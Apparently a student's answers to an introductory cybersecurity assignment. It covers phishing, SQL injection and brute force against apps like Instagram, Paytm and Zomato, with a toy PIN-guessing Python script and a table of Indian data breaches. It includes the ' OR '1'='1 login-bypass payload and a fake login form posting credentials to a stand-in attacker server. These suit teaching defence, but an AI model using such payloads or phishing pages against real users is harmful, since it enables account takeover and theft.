

TOPS TECH Task 1 (CS)

Task-1 Hackers & Hacking Methodologies

1. **List 3 common hacking methodologies (such as phishing, brute force, SQL injection) and for each, write one real-world example of how it could be used to compromise an account on an app like Instagram or Paytm.**

Ans:

3-Hacking Methodology:

1. **Phishing Attack?**

→ Phishing is a cyberattack where an attacker creates a fake website, email, or message to steal sensitive information such as usernames and passwords.

What is it:

- Attacker creates a fake login page.
- Sends a phishing link through email, SMS, or WhatsApp.
- Victim clicks the link and opens the fake website.
- Victim enters login credentials.
- Attacker receives the username and password.
- Attacker gains unauthorized access to the victim's account.

Real-World-Example:

- A fake Instagram login page is sent through WhatsApp with a message like **"Your account will be blocked, login now."**
- When the user enters their credentials, the attacker steals them.

2. **SQL Injection?**

→ SQL Injection is a cyberattack where an attacker enters malicious SQL code into a website's input field to access or manipulate the database.

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What is it:

- Attacker finds a website with a login form.
- Attacker enters special SQL code in the input field.
- The website incorrectly processes the malicious input.
- The database query is manipulated.
- Authentication can be bypassed without a password.
- The attacker gains unauthorized access to data.

Real-World-Example:

- In a shopping website's login page, a hacker enters: ' OR '1'='1.
- This tricks the website into accepting the login and may allow access to users' data without knowing the password.

3. Brute Force Attack?

→ A Brute Force Attack is a cyberattack where an attacker repeatedly tries different passwords or PINs until the correct one is found.

What is it:

- Attacker uses automated software to guess passwords.
- The software tries many password combinations.
- It keeps testing passwords repeatedly.
- The correct password is eventually found.
- The attacker gains unauthorized access to the account.

Real-World-Example:

- A hacker uses software to try all PINs from 0000 to 9999 on a Paytm account.
- When the correct PIN matches, the account opens and the attacker can steal money.

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2. Simulate a simple brute force attack by writing a Python script that tries all 4-digit PIN combinations (0000-9999) to guess a preset password variable. Print the number of attempts taken to find the correct PIN.
Constraint: Do not use external libraries for this task.

Ans:

```
main.py
1 correct_pin = "2125"
2
3 attempts = 0
4 found = False
5
6 for i in range(10000):
7     pin = str(i).zfill(4)
8     attempts += 1
9
10    if pin == correct_pin:
11        print("PIN Found:", pin)
12        print("Total Attempts:", attempts)
13        found = True
14        break
15
16 if not found:
17     print("PIN Not Found")
18
```

```
Output
PIN Found: 2125
Total Attempts: 2126

=== Code Execution Successful ===
```

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Explanation :

Line	Purpose
<code>correct_pin = "2125"</code>	Stores the secret PIN that the program is trying to find.
<code>attempts = 0</code>	Initializes a counter to keep track of the number of attempts.
<code>for i in range(10000)</code>	Loops through all possible 4-digit PIN combinations from 0000 to 9999.
<code>pin = str(i).zfill(4)</code>	Converts the number into a 4-digit PIN format by adding leading zeros if needed.
<code>attempts += 1</code>	Increases the attempt counter by 1 for each PIN tried.
<code>if pin == correct_pin</code>	Checks whether the current PIN matches the correct PIN.
<code>print("PIN Found:", pin)</code>	Displays the correct PIN when it is found.
<code>print("Total Attempts:", attempts)</code>	Displays the total number of attempts taken to find the PIN.
<code>break</code>	Stops the loop once the correct PIN has been found.

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3. **Research and describe the steps involved in a phishing attack targeting users of a popular food delivery app like Zomato or Swiggy. Include at least 4 steps and explain what the attacker and victim do at each stage.**

Ans.

Phishing Attack Research (Zomato Example)

Step 1 – Attacker Plans the Attack

Attacker Does:

- Creates a fake Zomato website that looks similar to the official website.
- Creates a fake offer such as "Get 50% Off on Your Next Order".
- Generates a fake link such as www.zomato-offer50.com.

Victim Does:

- Receives the message through WhatsApp, SMS, or Email.
- Becomes interested in the attractive discount offer.

Step 2 – Attacker Sends the Fake Link

Attacker Does:

- Sends the fake link to many users through SMS, WhatsApp, or Email.
- Designs the message to appear as if it came from the official Zomato service.

Victim Does:

- Trusts the message because it appears genuine.
- Clicks on the provided link.

Step 3 – Victim Enters Login Credentials

Attacker Does:

- Displays a fake login page and asks users to sign in to claim the offer.
- Collects the login credentials entered on the fake website.

Victim Does:

- Enters their email address and password.
- Believes they are logging into the official Zomato website.

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Step 4 – Account Compromise

Attacker Does:

- Obtains the victim's login credentials.
- Gains unauthorized access to the victim's account.
- May misuse the account or access personal information.

Victim Does:

- May be redirected to the official website and remain unaware of the phishing attack.
- Risks losing control of their account and personal information.

⇒ This phishing attack works by deceiving users into visiting a fake website and entering their login credentials. Users should always verify website URLs, avoid clicking suspicious links, and enable two-factor authentication (2FA) to improve account security.

4. Given the following fake login page HTML code, identify and explain two ways a hacker could use this page for credential harvesting.

Hint: Think about what happens to the data entered by the user and how it could be sent to an attacker..

Ans.

Fake Login Page Analysis

Way 1 – Stealing User Credentials:

⇒ The fake login page asks users to enter their username, email address, and password. When the user submits the login form, the entered information is sent directly to the attacker's server instead of a legitimate website.

Result:

- ⇒ The attacker obtains the victim's username and password.
- ⇒ The attacker may gain unauthorized access to the victim's account.

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Way 2 – Sending Data to an Attacker's Server:

- ⇒ The fake login page may contain a hidden form action or malicious script that secretly sends the user's credentials to a server controlled by the attacker.

Example:

```
<form action="http://fake-server.com/login.php" method="POST">
```

- ⇒ The user believes they are logging into a legitimate website, but their credentials are actually transmitted to the attacker's server.

Result:

- ⇒ The attacker receives the user's login credentials.
- ⇒ The victim's account information may be compromised.
- A fake login page can be used to steal user credentials by collecting information entered by users and secretly sending it to an unauthorized server. Users should always verify website URLs, check for HTTPS security, and avoid entering credentials on suspicious websites.

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5. Use ChatGPT or another AI tool to generate a list of 5 recent real-world hacking incidents involving Indian apps or websites. For each incident, write one line about the hacking methodology used.

Ans:

Research Recent Cybersecurity Incidents in India

Recent cybersecurity incidents in India have affected organizations from e-commerce, aviation, food delivery, finance, and digital payment sectors. These incidents exposed the personal information of millions of users and highlighted the importance of strong cybersecurity practices. Organizations should implement regular security audits, vulnerability assessments, employee awareness training, and robust data protection measures to reduce the risk of cyberattacks.

Recent Cybersecurity Breaches in India

<u>No</u>	<u>Organization/ App</u>	<u>Year</u>	<u>Users Affected</u>	<u>Method Used</u>
1	BigBasket	2020	2 Crore	Database Breach
2	MobiKwik	2021	10 Crore	Unauthorized Server Access
3	Air India	2021	45 Lakh	Third-Party Data Breach
4	Domino's India	2021	18 Crore	Server Vulnerability Exploit
5	Upstox	2021	25 Lakh	Third-Party Data Breach